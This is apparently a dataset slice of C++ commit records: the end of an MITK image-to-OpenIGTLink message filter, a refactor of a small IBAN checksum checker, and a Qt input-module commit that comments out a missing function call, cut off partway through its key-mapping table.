}\n\n    \/\/copy timestamp of mitk image\n    igtl::TimeStamp::Pointer timestamp = igtl::TimeStamp::New();\n    timestamp->SetTime(img->GetMTime() \/ 1000, (int)(img->GetMTime()) % 1000);\n    imgMsg->SetTimeStamp(timestamp);\n\n    imgMsg->Pack();\n\n    output->SetMessage(imgMsg.GetPointer());\n  }\n}\n\nvoid mitk::ImageToIGTLMessageFilter::SetInput(const mitk::Image* img)\n{\n  this->ProcessObject::SetNthInput(0, const_cast<mitk::Image*>(img));\n  this->CreateOutputsForAllInputs();\n}\n\nvoid mitk::ImageToIGTLMessageFilter::SetInput(unsigned int idx,\n  const Image* img)\n{\n  this->ProcessObject::SetNthInput(idx, const_cast<mitk::Image*>(img));\n  this->CreateOutputsForAllInputs();\n}\n\nconst mitk::Image* mitk::ImageToIGTLMessageFilter::GetInput(void)\n{\n  if (this->GetNumberOfInputs() < 1)\n    return NULL;\n  return static_cast<const mitk::Image*>(this->ProcessObject::GetInput(0));\n}\n\nconst mitk::Image* mitk::ImageToIGTLMessageFilter::GetInput(unsigned int idx)\n{\n  if (this->GetNumberOfInputs() < idx + 1)\n  {\n    return NULL;\n  }\n  return static_cast<const mitk::Image*>(this->ProcessObject::GetInput(idx));\n}\n\nvoid mitk::ImageToIGTLMessageFilter::ConnectTo(mitk::ImageSource* upstream)\n{\n  MITK_INFO << \"Image source for this (\" << this << \") mitkImageToIGTLMessageFilter is \" << upstream;\n  for (DataObjectPointerArraySizeType i = 0; i < upstream->GetNumberOfOutputs();\n    i++)\n  {\n    this->SetInput(i, upstream->GetOutput(i));\n  }\n}\n\nvoid mitk::ImageToIGTLMessageFilter::CreateOutputsForAllInputs()\n{\n  \/\/ create one message output for all image inputs\n  this->SetNumberOfIndexedOutputs(this->GetNumberOfIndexedInputs());\n\n  for (size_t idx = 0; idx < this->GetNumberOfIndexedOutputs(); ++idx)\n  {\n    if (this->GetOutput(idx) == NULL)\n    {\n      this->SetNthOutput(idx, this->MakeOutput(idx));\n    }\n    this->Modified();\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ https:\/\/de.wikipedia.org\/wiki\/Internationale_Bankkontonummer#Zusammensetzung\n\n#include<iostream>\n#include<string>\n#include<regex>\n#include<boost\/multiprecision\/gmp.hpp>\n\nvoid usage() {\n    std::cout << \"iban <iban>\" << std::endl \n              << std::endl\n              << \"check iban\" << std::endl;\n}\n\nstd::string convert_lc(const std::string& lc) {\n    static auto conv_digit = [=](char c) -> std::string {\n        auto tmp = c - 'A' + 10;\n        return std::to_string(tmp);\n    };\n    return conv_digit(lc[0]) + conv_digit(lc[1]);\n}\n\nint main(int argn, char* argv[]) {\n    if (argn == 1) {\n        usage();\n        exit(1);\n    }\n    std::string iban = argv[1];\n    const std::regex re (\"[A-Z][A-Z]\\\\d{20}\", std::regex::icase);\n    if (! std::regex_match(iban, re)) {\n        std::cout << \"IBAN ist falsch formatiert\" << std::endl;\n    }\n    const std::regex ree(\"^(..)(..)(.+)$\");\n    std::smatch m;\n    if (std::regex_match(iban, m, ree)) {\n        auto lc = m[1].str();\n        auto pz = m[2].str();\n        auto rest = m[3].str();\n        std::cout << \"LC: \" << lc << std::endl;\n        std::cout << \"PZ: \" << pz << std::endl;\n        std::cout << \"Rest: \" << rest << std::endl;\n        auto lcdigits = convert_lc(lc);\n        std::cout << \"LC digits: \" << lcdigits << std::endl;\n        using namespace std::string_literals;\n        boost::multiprecision::mpz_int i{rest + lcdigits + \"00\"s};\n        boost::multiprecision::mpz_int calc_pz = 98 - (i % 97); \n        auto calc_pz_str = calc_pz.convert_to<std::string>();\n        std::cout << \"98 - (\" << i << \" % 97) = \" << calc_pz_str << std::endl;\n        auto res = pz == calc_pz_str;\n        std::cout << \"Die Prüfziffern stimmen\" << ( res ? \".\" : \" nicht!\") << std::endl;\n    }\n}\n<commit_msg>20190714_2<commit_after>\/\/ https:\/\/de.wikipedia.org\/wiki\/Internationale_Bankkontonummer#Zusammensetzung\n\n#include<iostream>\n#include<string>\n#include<regex>\n#include<boost\/multiprecision\/gmp.hpp>\n\nvoid usage() {\n    std::cout << \"iban <iban>\" << std::endl \n              << std::endl\n              << \"check iban\" << std::endl;\n}\n\nstd::string convert_lc(const std::string& lc) {\n    static auto conv_digit = [=](char c) -> std::string {\n        auto tmp = c - 'A' + 10;\n        return std::to_string(tmp);\n    };\n    return conv_digit(lc[0]) + conv_digit(lc[1]);\n}\n\nint check_iban(const std::string iban) {\n    int ret = 0;\n    std::cout << \"=== Checking \" << iban << \"===\" << std::endl;\n    const std::regex re (\"[A-Z][A-Z]\\\\d{20}\", std::regex::icase);\n    if (! std::regex_match(iban, re)) {\n        std::cout << \"IBAN ist falsch formatiert\" << std::endl;\n        ret = 1;\n    }\n    const std::regex ree(\"^(..)(..)(.+)$\");\n    std::smatch m;\n    if (std::regex_match(iban, m, ree)) {\n        auto lc = m[1].str();\n        auto pz = m[2].str();\n        auto rest = m[3].str();\n        std::cout << \"LC: \" << lc << std::endl;\n        std::cout << \"PZ: \" << pz << std::endl;\n        std::cout << \"Rest: \" << rest << std::endl;\n        auto lcdigits = convert_lc(lc);\n        std::cout << \"LC digits: \" << lcdigits << std::endl;\n        using namespace std::string_literals;\n        boost::multiprecision::mpz_int i{rest + lcdigits + \"00\"s};\n        boost::multiprecision::mpz_int calc_pz = 98 - (i % 97); \n        auto calc_pz_str = calc_pz.convert_to<std::string>();\n        std::cout << \"98 - (\" << i << \" % 97) = \" << calc_pz_str << std::endl;\n        auto res = pz == calc_pz_str;\n        std::cout << \"Die Prüfziffern stimmen\" << ( res ? \".\" : \" nicht!\") << std::endl;\n        if (!res)\n            ret = 1;\n    }\n    return ret;\n}\n\n\/\/ .\/iban DE5837040044028465250 DE58370400440284652500\nint main(int argn, char* argv[]) {\n    std::ios_base::sync_with_stdio(false);\n    if (argn == 1) {\n        usage();\n        exit(1);\n    }\n    int ret = 0;\n    for (int i = 1; i < argn; ++i) {\n        ret = std::max(ret, check_iban(argv[i]));\n    }\n    return ret;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ For conditions of distribution and use, see copyright notice in license.txt\r\n\r\n#include \"StableHeaders.h\"\r\n\r\n#include \"DebugOperatorNew.h\"\r\n\r\n#include \"QtModule.h\"\r\n\r\n#include <Ogre.h>\r\n#include \"OgreRenderingModule.h\"\r\n#include \"RendererEvents.h\"\r\n\r\n#include <QGraphicsScene>\r\n#include <QDebug>\r\n#include <QApplication>\r\n\r\n#include \"InputEvents.h\"\r\n#include \"InputModuleOIS.h\"\r\n\r\n#include \"MemoryLeakCheck.h\"\r\n\r\nnamespace QtUI\r\n{\r\n\r\nnamespace\r\n{\r\n    const std::string moduleName(\"QtModule\");\r\n}\r\n\r\nQtModule::QtModule()\r\n:ModuleInterfaceImpl(Foundation::Module::MT_Gui), controller_(0)\r\n{\r\n}\r\n\r\nQtModule::~QtModule()\r\n{\r\n}\r\n\r\nvoid QtModule::Load()\r\n{\r\n}\r\n\r\nvoid QtModule::Unload()\r\n{\r\n}\r\n\r\nvoid QtModule::PreInitialize()\r\n{\r\n}\r\n\r\nvoid QtModule::Initialize()\r\n{\r\n    \/\/ Sanity check\r\n    SAFE_DELETE(controller_);\r\n    \r\n    controller_ = new UIController;\r\n\r\n    boost::shared_ptr<OgreRenderer::Renderer> renderer = framework_->GetServiceManager()->GetService\r\n        <OgreRenderer::Renderer>(Foundation::Service::ST_Renderer).lock();\r\n    \r\n    if (!renderer)\r\n        throw Core::Exception(\"Error! Could not find renderer service!\");\r\n\r\n    controller_->SetParentWindowSize(QSize(renderer->GetWindowWidth(), renderer->GetWindowHeight()));\r\n    \r\n    \/\/Initialize OISKeyCode map. \r\n    InitializeKeyCodes();\r\n   \r\n    mouse_left_button_down_ = false;\r\n}\r\n\r\nvoid QtModule::PostInitialize()\r\n{\r\n    Foundation::EventManagerPtr event_manager = framework_->GetEventManager();\r\n    input_event_category_ = event_manager->QueryEventCategory(\"Input\");\r\n    renderer_event_category_ = event_manager->QueryEventCategory(\"Renderer\");\r\n}\r\n\r\nvoid QtModule::Uninitialize()\r\n{\r\n    SAFE_DELETE(controller_);\r\n}\r\n\r\nbool QtModule::HandleEvent(Core::event_category_id_t category_id,\r\n    Core::event_id_t event_id, \r\n    Foundation::EventDataInterface* data)\r\n{\r\n    \/\/\/\\todo Currently OIS mouse is polled in Update(). Convert all input to come through here.\r\n    \/\/\/ Requires that we can track when a canvas needs to be redrawn due to visual changes on mouse hover.\r\n\/*  if (category_id == input_event_category_ && event_id == Input::Events::INWORLD_CLICK)\r\n    {\r\n        Input::Events::Movement *movement = checked_static_cast<Input::Events::Movement*>(data);\r\n        main_view_->InjectMousePress(movement->x_.abs_, movement->y_.abs_);\r\n    } *\/\r\n\r\n    if (category_id == renderer_event_category_ && event_id == OgreRenderer::Events::WINDOW_RESIZED)\r\n    {\r\n        \/\/ To properly compute the relative overlay sizes and positions for canvases, we need to keep track of the \r\n        \/\/ absolute size of the render window. Update the render window size on each WINDOW_RESIZED message.\r\n        OgreRenderer::Events::WindowResized *windowResized = checked_static_cast<OgreRenderer::Events::WindowResized *>(data);\r\n        controller_->SetParentWindowSize(QSize(windowResized->width_, windowResized->height_));\r\n    }\r\n    else if (category_id == input_event_category_ && (event_id == Input::Events::BUFFERED_KEY_PRESSED ||event_id == Input::Events::BUFFERED_KEY_RELEASED))\r\n    {\r\n        boost::weak_ptr<Input::InputModuleOIS> inputWeak = \r\n            framework_->GetModuleManager()->GetModule<Input::InputModuleOIS>(Foundation::Module::MT_Input).lock();\r\n        boost::shared_ptr<Input::InputModuleOIS> input = inputWeak.lock();\r\n        if (input.get() == 0)\r\n            return false;\r\n\r\n        \/\/ Get the key event OIS sent and convert it to a Qt key event.\r\n        Input::Events::BufferedKey *key = checked_static_cast<Input::Events::BufferedKey* >(data);\r\n\r\n        Qt::Key value;\r\n        if (converterMap_.contains(static_cast<int>(key->code_)))\r\n            value = converterMap_[static_cast<int>(key->code_)];\r\n        else\r\n            value = Qt::Key_unknown;\r\n\r\n        \/\/\/\\todo Are we missing the handling of Ctrl,Alt,AltGr,Win,Shift modifiers on keys?\r\n\/\/        Qt::KeyboardModifier modifier = Qt::NoModifier;\r\n\r\n        \/\/ Inject the key event to the controller. It will propagate the event to the currently active canvas.\r\n        if (event_id == Input::Events::BUFFERED_KEY_PRESSED)\r\n            controller_->InjectKeyPressed(QString(QChar(key->text_)), value);\r\n        else\r\n            controller_->InjectKeyReleased(QString(QChar(key->text_)), value);\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\nboost::weak_ptr<UICanvas> QtModule::CreateCanvas(UICanvas::Mode mode)\r\n{\r\n    boost::shared_ptr<UICanvas> canvas = controller_->CreateCanvas(mode).lock();\r\n\/\/    canvas->setParent(framework_->GetApplicationMainWindowQWidget());\r\n    return canvas;\r\n}\r\n\r\n\r\nvoid QtModule::Update(Core::f64 frametime)\r\n{\r\n    boost::shared_ptr<OgreRenderer::Renderer> renderer = framework_->GetServiceManager()->GetService\r\n        <OgreRenderer::Renderer>(Foundation::Service::ST_Renderer).lock();\r\n    if (!renderer)\r\n        return;\r\n\r\n    {\r\n        PROFILE(QtModule_Update);\r\n\r\n        \/\/ Poll mouse input from OIS. \r\n    \r\n        \/\/\/\\todo Remove this in favor of events.\r\n        boost::weak_ptr<Input::InputModuleOIS> inputWeak = \r\n            framework_->GetModuleManager()->GetModule<Input::InputModuleOIS>(Foundation::Module::MT_Input).lock();\r\n\r\n        boost::shared_ptr<Input::InputModuleOIS> input = inputWeak.lock();\r\n      \r\n        if (!input.get())\r\n            return;\r\n        \r\n        const Input::Events::Movement &mouse = input->GetMouseMovement();\r\n        QPointF pos = QPointF(mouse.x_.abs_, mouse.y_.abs_);\r\n        QPoint change = lastPos_ - pos.toPoint(); \r\n\r\n        if (input->IsButtonDown(OIS::MB_Left) && !mouse_left_button_down_)\r\n        {\r\n            if (controller_->GetCanvasAt(pos.x(), pos.y()))\r\n                framework_->GetQApplication()->setActiveWindow(controller_->GetCanvasAt(pos.x(), pos.y()));\r\n            controller_->InjectMousePress(pos.x(), pos.y());\r\n            \r\n            if ( controller_->IsKeyboardFocus() && input->GetState() != Input::State_Buffered)\r\n                input->SetState(Input::State_Buffered);\r\n            else  \r\n                input->SetState(Input::State_Unknown);\r\n            \r\n            mouse_left_button_down_ = true;\r\n        }\r\n        else if (!input->IsButtonDown(OIS::MB_Left) && mouse_left_button_down_)\r\n        {\r\n            controller_->InjectMouseRelease(pos.x(),pos.y());\r\n            mouse_left_button_down_ = false;\r\n        }\r\n        else if ( change.manhattanLength() >= 1 )\r\n        {\r\n            controller_->InjectMouseMove(pos.x(),pos.y());\r\n        }    \r\n        lastPos_ = pos.toPoint();\r\n\r\n        PROFILE(QtSceneRender);\r\n\r\n        \/\/\/\\todo Optimize to redraw only those rectangles that are dirty.\r\n           \r\n        controller_->Update();\r\n    }\r\n    RESETPROFILER;\r\n}\r\n\r\nconst std::string &QtModule::NameStatic()\r\n{\r\n    return moduleName;\r\n}\r\n\r\n\r\nvoid QtModule::InitializeKeyCodes()\r\n{\r\n    \/* OIS gives us hardware keyboard scan codes, but Qt has its own code system where characters are \r\n        represented either in ascii, or if there's no equivalent, using a custom ID. Currently the\r\n        only way we know of how to handle this is to perform a manual mapping between these two.\r\n\r\n        The following keys haven't been mapped to any OIS input (see http:\/\/doc.trolltech.com\/4.5\/qt.html#Key-enum):  \r\n        Qt::Key_AltGr, \r\n        Qt::Key_F16 - Qt::Key_F35 \r\n        All keys between: Qt::Key_Super_L - Qt::Key_Direction_R except Qt::Key_Menu\r\n        Qt::Key_Any, \r\n        Qt::Key_Exclam, \r\n        Qt::Key_QuoteDbl, \r\n        Qt::Key_NumberSign, \r\n        Qt::Key_Dollar, \r\n        Qt::Key_Percent, \r\n        Qt::Key_Ampersand, \r\n        Qt::Key_ParenLeft, \r\n        Qt::Key_ParenRight\r\n        Qt::Key_Less \r\n        Qt::Key_Greater \r\n        Qt::Key_Question\r\n    *\/\r\n\r\n    converterMap_.insert(OIS::KC_ESCAPE, Qt::Key_Escape);\r\n    converterMap_.insert(OIS::KC_TAB, Qt::Key_Tab);\r\n    converterMap_.insert(OIS::KC_BACK, Qt::Key_Backspace);\r\n    converterMap_.insert(OIS::KC_RETURN, Qt::Key_Return);\r\n    converterMap_.insert(OIS::KC_NUMPADENTER, Qt::Key_Enter);\r\n    converterMap_.insert(OIS::KC_INSERT, Qt::Key_Insert);\r\n    converterMap_.insert(OIS::KC_DELETE, Qt::Key_Delete);\r\n    converterMap_.insert(OIS::KC_PAUSE, Qt::Key_Pause);\r\n    converterMap_.insert(OIS::KC_SYSRQ, Qt::Key_SysReq);\r\n    converterMap_.insert(OIS::KC_HOME, Qt::Key_Home);\r\n    converterMap_.insert(OIS::KC_END, Qt::Key_End);\r\n    converterMap_.insert(OIS::KC_LEFT, Qt::Key_Left);\r\n    converterMap_.insert(OIS::KC_UP, Qt::Key_Up);\r\n    converterMap_.insert(OIS::KC_RIGHT, Qt::Key_Right);\r\n    converterMap_.insert(OIS::KC_DOWN, Qt::Key_Down);\r\n    converterMap_.insert(OIS::KC_PGUP, Qt::Key_PageUp);\r\n    converterMap_.insert(OIS::KC_PGDOWN, Qt::Key_PageDown);\r\n    converterMap_.insert(OIS::KC_LSHIFT, Qt::Key_Shift);\r\n    converterMap_.insert(OIS::KC_LCONTROL, Qt::Key_Control);\r\n    converterMap_.insert(OIS::KC_LWIN, Qt::Key_Meta);\r\n    converterMap_.insert(OIS::KC_LMENU, Qt::Key_Alt);\r\n    converterMap_.insert(OIS::KC_CAPITAL, Qt::Key_CapsLock);\r\n    converterMap_.insert(OIS::KC_NUMLOCK, Qt::Key_NumLock);\r\n    converterMap_.insert(OIS::KC_SCROLL, Qt::Key_ScrollLock);\r\n    converterMap_.insert(OIS::KC_F1, Qt::Key_F1);\r\n    converterMap_.insert(OIS::KC_F2, Qt::Key_F2);\r\n    converterMap_.insert(OIS::KC_F3, Qt::Key_F3);\r\n    converterMap_.insert(OIS::KC_F4, Qt::Key_F4);\r\n    converterMap_.insert(OIS::KC_F5, Qt::Key_F5);\r\n    converterMap_.insert(OIS::KC_F6, Qt::Key_F6);\r\n    converterMap_.insert(OIS::KC_F7, Qt::Key_F7);\r\n    converterMap_.insert(OIS::KC_F8, Qt::Key_F8);\r\n    converterMap_.insert(OIS::KC_F9, Qt::Key_F9);\r\n    converterMap_.insert(OIS::KC_F10, Qt::Key_F10);\r\n    converterMap_.insert(OIS::KC_F11, Qt::Key_F11);\r\n    converterMap_.insert(OIS::KC_F12, Qt::Key_F12);\r\n    converterMap_.insert(OIS::KC_F13, Qt::Key_F13);\r\n    converterMap_.insert(OIS::KC_F14, Qt::Key_F14);\r\n    converterMap_.insert(OIS::KC_F15, Qt::Key_F15);\r\n    converterMap_.insert(OIS::KC_APPS, Qt::Key_Menu);\r\n    converterMap_.insert(OIS::KC_SPACE, Qt::Key_Space);\r\n    converterMap_.insert(OIS::KC_APOSTROPHE, Qt::Key_Apostrophe);\r\n    converterMap_.insert(OIS::KC_MULTIPLY, Qt::Key_Asterisk);\r\n    converterMap_.insert(OIS::KC_ADD, Qt::Key_Plus);\r\n    converterMap_.insert(OIS::KC_COMMA, Qt::Key_Comma);\r\n    converterMap_.insert(OIS::KC_MINUS, Qt::Key_Minus);\r\n    converterMap_.insert(OIS::KC_PERIOD, Qt::Key_Period);\r\n    converterMap_.insert(OIS::KC_SLASH, Qt::Key_Slash);\r\n    converterMap_.insert(OIS::KC_0, Qt::Key_0);\r\n    converterMap_.insert(OIS::KC_1, Qt::Key_1);\r\n    converterMap_.insert(OIS::KC_2, Qt::Key_2);\r\n    converterMap_.insert(OIS::KC_3, Qt::Key_3); \r\n    converterMap_.insert(OIS::KC_4, Qt::Key_4);\r\n    converterMap_.insert(OIS::KC_5, Qt::Key_5);\r\n    converterMap_.insert(OIS::KC_6, Qt::Key_6);\r\n    converterMap_.insert(OIS::KC_7, Qt::Key_7);\r\n    converterMap_.insert(OIS::KC_8, Qt::Key_8);\r\n    converterMap_.insert(OIS::KC_9, Qt::Key_9);\r\n    converterMap_.insert(OIS::KC_COLON, Qt::Key_Colon);\r\n    converterMap_.insert(OIS::KC_SEMICOLON , Qt::Key_Semicolon);\r\n    converterMap_.insert(OIS::KC_EQUALS, Qt::Key_Equal);\r\n    converterMap_.insert(OIS::KC_AT , Qt::Key_At);\r\n    converterMap_.insert(OIS::KC_A , Qt::Key_A);\r\n    converterMap_.insert(OIS::KC_B , Qt::Key_B);\r\n    converterMap_.insert(OIS::KC_C , Qt::Key_C);\r\n    converterMap_.insert(OIS::KC_D , Qt::Key_D);\r\n    converterMap_.insert(OIS::KC_E , Qt::Key_E);\r\n    converterMap_.insert(OIS::KC_F , Qt::Key_F);\r\n    converterMap_.insert(OIS::KC_G , Qt::Key_G);\r\n    converterMap_.insert(OIS::KC_H , Qt::Key_H);\r\n    converterMap_.insert(OIS::KC_I , Qt::Key_I);\r\n    converterMap_.insert(OIS::KC_J , Qt::Key_J);\r\n    converterMap_.insert(OIS::KC_K , Qt::Key_K);\r\n    converterMap_.insert(OIS::KC_L , Qt::Key_L);\r\n    converterMap_.insert(OIS::KC_M , Qt::Key_M);\r\n    converterMap_.insert(OIS::KC_N , Qt::Key_N);\r\n    converterMap_.insert(OIS::KC_O , Qt::Key_O);\r\n    converterMap_.insert(OIS::KC_P , Qt::Key_P);\r\n    converterMap_.insert(OIS::KC_Q , Qt::Key_Q);\r\n    converterMap_.insert(OIS::KC_R , Qt::Key_R);\r\n    converterMap_.insert(OIS::KC_S , Qt::Key_S);\r\n    converterMap_.insert(OIS::KC_T , Qt::Key_T);\r\n    converterMap_.insert(OIS::KC_U , Qt::Key_U);\r\n    converterMap_.insert(OIS::KC_V , Qt::Key_V);\r\n    converterMap_.insert(OIS::KC_W , Qt::Key_W);\r\n    converterMap_.insert(OIS::KC_X , Qt::Key_X);\r\n    converterMap_.insert(OIS::KC_Y, Qt::Key_Y);\r\n    converterMap_.insert(OIS::KC_Z , Qt::Key_Z);\r\n    converterMap_.insert(OIS::KC_LBRACKET , Qt::Key_BracketLeft);\r\n}\r\n\r\n}\r\n\r\nextern \"C\" void POCO_LIBRARY_API SetProfiler(Foundation::Profiler *profiler);\r\nvoid SetProfiler(Foundation::Profiler *profiler)\r\n{\r\n    Foundation::ProfilerSection::SetProfiler(profiler);\r\n}\r\n\r\nusing namespace QtUI;\r\n\r\nPOCO_BEGIN_MANIFEST(Foundation::ModuleInterface)\r\n   POCO_EXPORT_CLASS(QtModule)\r\nPOCO_END_MANIFEST\r\n<commit_msg>Comment out code that uses nonexisting function.<commit_after>\/\/ For conditions of distribution and use, see copyright notice in license.txt\r\n\r\n#include \"StableHeaders.h\"\r\n\r\n#include \"DebugOperatorNew.h\"\r\n\r\n#include \"QtModule.h\"\r\n\r\n#include <Ogre.h>\r\n#include \"OgreRenderingModule.h\"\r\n#include \"RendererEvents.h\"\r\n\r\n#include <QGraphicsScene>\r\n#include <QDebug>\r\n#include <QApplication>\r\n\r\n#include \"InputEvents.h\"\r\n#include \"InputModuleOIS.h\"\r\n\r\n#include \"MemoryLeakCheck.h\"\r\n\r\nnamespace QtUI\r\n{\r\n\r\nnamespace\r\n{\r\n    const std::string moduleName(\"QtModule\");\r\n}\r\n\r\nQtModule::QtModule()\r\n:ModuleInterfaceImpl(Foundation::Module::MT_Gui), controller_(0)\r\n{\r\n}\r\n\r\nQtModule::~QtModule()\r\n{\r\n}\r\n\r\nvoid QtModule::Load()\r\n{\r\n}\r\n\r\nvoid QtModule::Unload()\r\n{\r\n}\r\n\r\nvoid QtModule::PreInitialize()\r\n{\r\n}\r\n\r\nvoid QtModule::Initialize()\r\n{\r\n    \/\/ Sanity check\r\n    SAFE_DELETE(controller_);\r\n    \r\n    controller_ = new UIController;\r\n\r\n    boost::shared_ptr<OgreRenderer::Renderer> renderer = framework_->GetServiceManager()->GetService\r\n        <OgreRenderer::Renderer>(Foundation::Service::ST_Renderer).lock();\r\n    \r\n    if (!renderer)\r\n        throw Core::Exception(\"Error! Could not find renderer service!\");\r\n\r\n    controller_->SetParentWindowSize(QSize(renderer->GetWindowWidth(), renderer->GetWindowHeight()));\r\n    \r\n    \/\/Initialize OISKeyCode map. \r\n    InitializeKeyCodes();\r\n   \r\n    mouse_left_button_down_ = false;\r\n}\r\n\r\nvoid QtModule::PostInitialize()\r\n{\r\n    Foundation::EventManagerPtr event_manager = framework_->GetEventManager();\r\n    input_event_category_ = event_manager->QueryEventCategory(\"Input\");\r\n    renderer_event_category_ = event_manager->QueryEventCategory(\"Renderer\");\r\n}\r\n\r\nvoid QtModule::Uninitialize()\r\n{\r\n    SAFE_DELETE(controller_);\r\n}\r\n\r\nbool QtModule::HandleEvent(Core::event_category_id_t category_id,\r\n    Core::event_id_t event_id, \r\n    Foundation::EventDataInterface* data)\r\n{\r\n    \/\/\/\\todo Currently OIS mouse is polled in Update(). Convert all input to come through here.\r\n    \/\/\/ Requires that we can track when a canvas needs to be redrawn due to visual changes on mouse hover.\r\n\/*  if (category_id == input_event_category_ && event_id == Input::Events::INWORLD_CLICK)\r\n    {\r\n        Input::Events::Movement *movement = checked_static_cast<Input::Events::Movement*>(data);\r\n        main_view_->InjectMousePress(movement->x_.abs_, movement->y_.abs_);\r\n    } *\/\r\n\r\n    if (category_id == renderer_event_category_ && event_id == OgreRenderer::Events::WINDOW_RESIZED)\r\n    {\r\n        \/\/ To properly compute the relative overlay sizes and positions for canvases, we need to keep track of the \r\n        \/\/ absolute size of the render window. Update the render window size on each WINDOW_RESIZED message.\r\n        OgreRenderer::Events::WindowResized *windowResized = checked_static_cast<OgreRenderer::Events::WindowResized *>(data);\r\n        controller_->SetParentWindowSize(QSize(windowResized->width_, windowResized->height_));\r\n    }\r\n    else if (category_id == input_event_category_ && (event_id == Input::Events::BUFFERED_KEY_PRESSED ||event_id == Input::Events::BUFFERED_KEY_RELEASED))\r\n    {\r\n        boost::weak_ptr<Input::InputModuleOIS> inputWeak = \r\n            framework_->GetModuleManager()->GetModule<Input::InputModuleOIS>(Foundation::Module::MT_Input).lock();\r\n        boost::shared_ptr<Input::InputModuleOIS> input = inputWeak.lock();\r\n        if (input.get() == 0)\r\n            return false;\r\n\r\n        \/\/ Get the key event OIS sent and convert it to a Qt key event.\r\n        Input::Events::BufferedKey *key = checked_static_cast<Input::Events::BufferedKey* >(data);\r\n\r\n        Qt::Key value;\r\n        if (converterMap_.contains(static_cast<int>(key->code_)))\r\n            value = converterMap_[static_cast<int>(key->code_)];\r\n        else\r\n            value = Qt::Key_unknown;\r\n\r\n        \/\/\/\\todo Are we missing the handling of Ctrl,Alt,AltGr,Win,Shift modifiers on keys?\r\n\/\/        Qt::KeyboardModifier modifier = Qt::NoModifier;\r\n\r\n        \/\/ Inject the key event to the controller. It will propagate the event to the currently active canvas.\r\n        if (event_id == Input::Events::BUFFERED_KEY_PRESSED)\r\n            controller_->InjectKeyPressed(QString(QChar(key->text_)), value);\r\n        else\r\n            controller_->InjectKeyReleased(QString(QChar(key->text_)), value);\r\n    }\r\n\r\n    return false;\r\n}\r\n\r\nboost::weak_ptr<UICanvas> QtModule::CreateCanvas(UICanvas::Mode mode)\r\n{\r\n    boost::shared_ptr<UICanvas> canvas = controller_->CreateCanvas(mode).lock();\r\n\/\/    canvas->setParent(framework_->GetApplicationMainWindowQWidget());\r\n    return canvas;\r\n}\r\n\r\n\r\nvoid QtModule::Update(Core::f64 frametime)\r\n{\r\n    boost::shared_ptr<OgreRenderer::Renderer> renderer = framework_->GetServiceManager()->GetService\r\n        <OgreRenderer::Renderer>(Foundation::Service::ST_Renderer).lock();\r\n    if (!renderer)\r\n        return;\r\n\r\n    {\r\n        PROFILE(QtModule_Update);\r\n\r\n        \/\/ Poll mouse input from OIS. \r\n    \r\n        \/\/\/\\todo Remove this in favor of events.\r\n        boost::weak_ptr<Input::InputModuleOIS> inputWeak = \r\n            framework_->GetModuleManager()->GetModule<Input::InputModuleOIS>(Foundation::Module::MT_Input).lock();\r\n\r\n        boost::shared_ptr<Input::InputModuleOIS> input = inputWeak.lock();\r\n      \r\n        if (!input.get())\r\n            return;\r\n        \r\n        const Input::Events::Movement &mouse = input->GetMouseMovement();\r\n        QPointF pos = QPointF(mouse.x_.abs_, mouse.y_.abs_);\r\n        QPoint change = lastPos_ - pos.toPoint(); \r\n\r\n        if (input->IsButtonDown(OIS::MB_Left) && !mouse_left_button_down_)\r\n        {\r\n\/\/            if (controller_->GetCanvasAt(pos.x(), pos.y()))\r\n\/\/                framework_->GetQApplication()->setActiveWindow(controller_->GetCanvasAt(pos.x(), pos.y()));\r\n            controller_->InjectMousePress(pos.x(), pos.y());\r\n            \r\n            if ( controller_->IsKeyboardFocus() && input->GetState() != Input::State_Buffered)\r\n                input->SetState(Input::State_Buffered);\r\n            else  \r\n                input->SetState(Input::State_Unknown);\r\n            \r\n            mouse_left_button_down_ = true;\r\n        }\r\n        else if (!input->IsButtonDown(OIS::MB_Left) && mouse_left_button_down_)\r\n        {\r\n            controller_->InjectMouseRelease(pos.x(),pos.y());\r\n            mouse_left_button_down_ = false;\r\n        }\r\n        else if ( change.manhattanLength() >= 1 )\r\n        {\r\n            controller_->InjectMouseMove(pos.x(),pos.y());\r\n        }    \r\n        lastPos_ = pos.toPoint();\r\n\r\n        PROFILE(QtSceneRender);\r\n\r\n        \/\/\/\\todo Optimize to redraw only those rectangles that are dirty.\r\n           \r\n        controller_->Update();\r\n    }\r\n    RESETPROFILER;\r\n}\r\n\r\nconst std::string &QtModule::NameStatic()\r\n{\r\n    return moduleName;\r\n}\r\n\r\n\r\nvoid QtModule::InitializeKeyCodes()\r\n{\r\n    \/* OIS gives us hardware keyboard scan codes, but Qt has its own code system where characters are \r\n        represented either in ascii, or if there's no equivalent, using a custom ID. Currently the\r\n        only way we know of how to handle this is to perform a manual mapping between these two.\r\n\r\n        The following keys haven't been mapped to any OIS input (see http:\/\/doc.trolltech.com\/4.5\/qt.html#Key-enum):  \r\n        Qt::Key_AltGr, \r\n        Qt::Key_F16 - Qt::Key_F35 \r\n        All keys between: Qt::Key_Super_L - Qt::Key_Direction_R except Qt::Key_Menu\r\n        Qt::Key_Any, \r\n        Qt::Key_Exclam, \r\n        Qt::Key_QuoteDbl, \r\n        Qt::Key_NumberSign, \r\n        Qt::Key_Dollar, \r\n        Qt::Key_Percent, \r\n        Qt::Key_Ampersand, \r\n        Qt::Key_ParenLeft, \r\n        Qt::Key_ParenRight\r\n        Qt::Key_Less \r\n        Qt::Key_Greater \r\n        Qt::Key_Question\r\n    *\/\r\n\r\n    converterMap_.insert(OIS::KC_ESCAPE, Qt::Key_Escape);\r\n    converterMap_.insert(OIS::KC_TAB, Qt::Key_Tab);\r\n    converterMap_.insert(OIS::KC_BACK, Qt::Key_Backspace);\r\n    converterMap_.insert(OIS::KC_RETURN, Qt::Key_Return);\r\n    converterMap_.insert(OIS::KC_NUMPADENTER, Qt::Key_Enter);\r\n    converterMap_.insert(OIS::KC_INSERT, Qt::Key_Insert);\r\n    converterMap_.insert(OIS::KC_DELETE, Qt::Key_Delete);\r\n    converterMap_.insert(OIS::KC_PAUSE, Qt::Key_Pause);\r\n    converterMap_.insert(OIS::KC_SYSRQ, Qt::Key_SysReq);\r\n    converterMap_.insert(OIS::KC_HOME, Qt::Key_Home);\r\n    converterMap_.insert(OIS::KC_END, Qt::Key_End);\r\n    converterMap_.insert(OIS::KC_LEFT, Qt::Key_Left);\r\n    converterMap_.insert(OIS::KC_UP, Qt::Key_Up);\r\n    converterMap_.insert(OIS::KC_RIGHT, Qt::Key_Right);\r\n    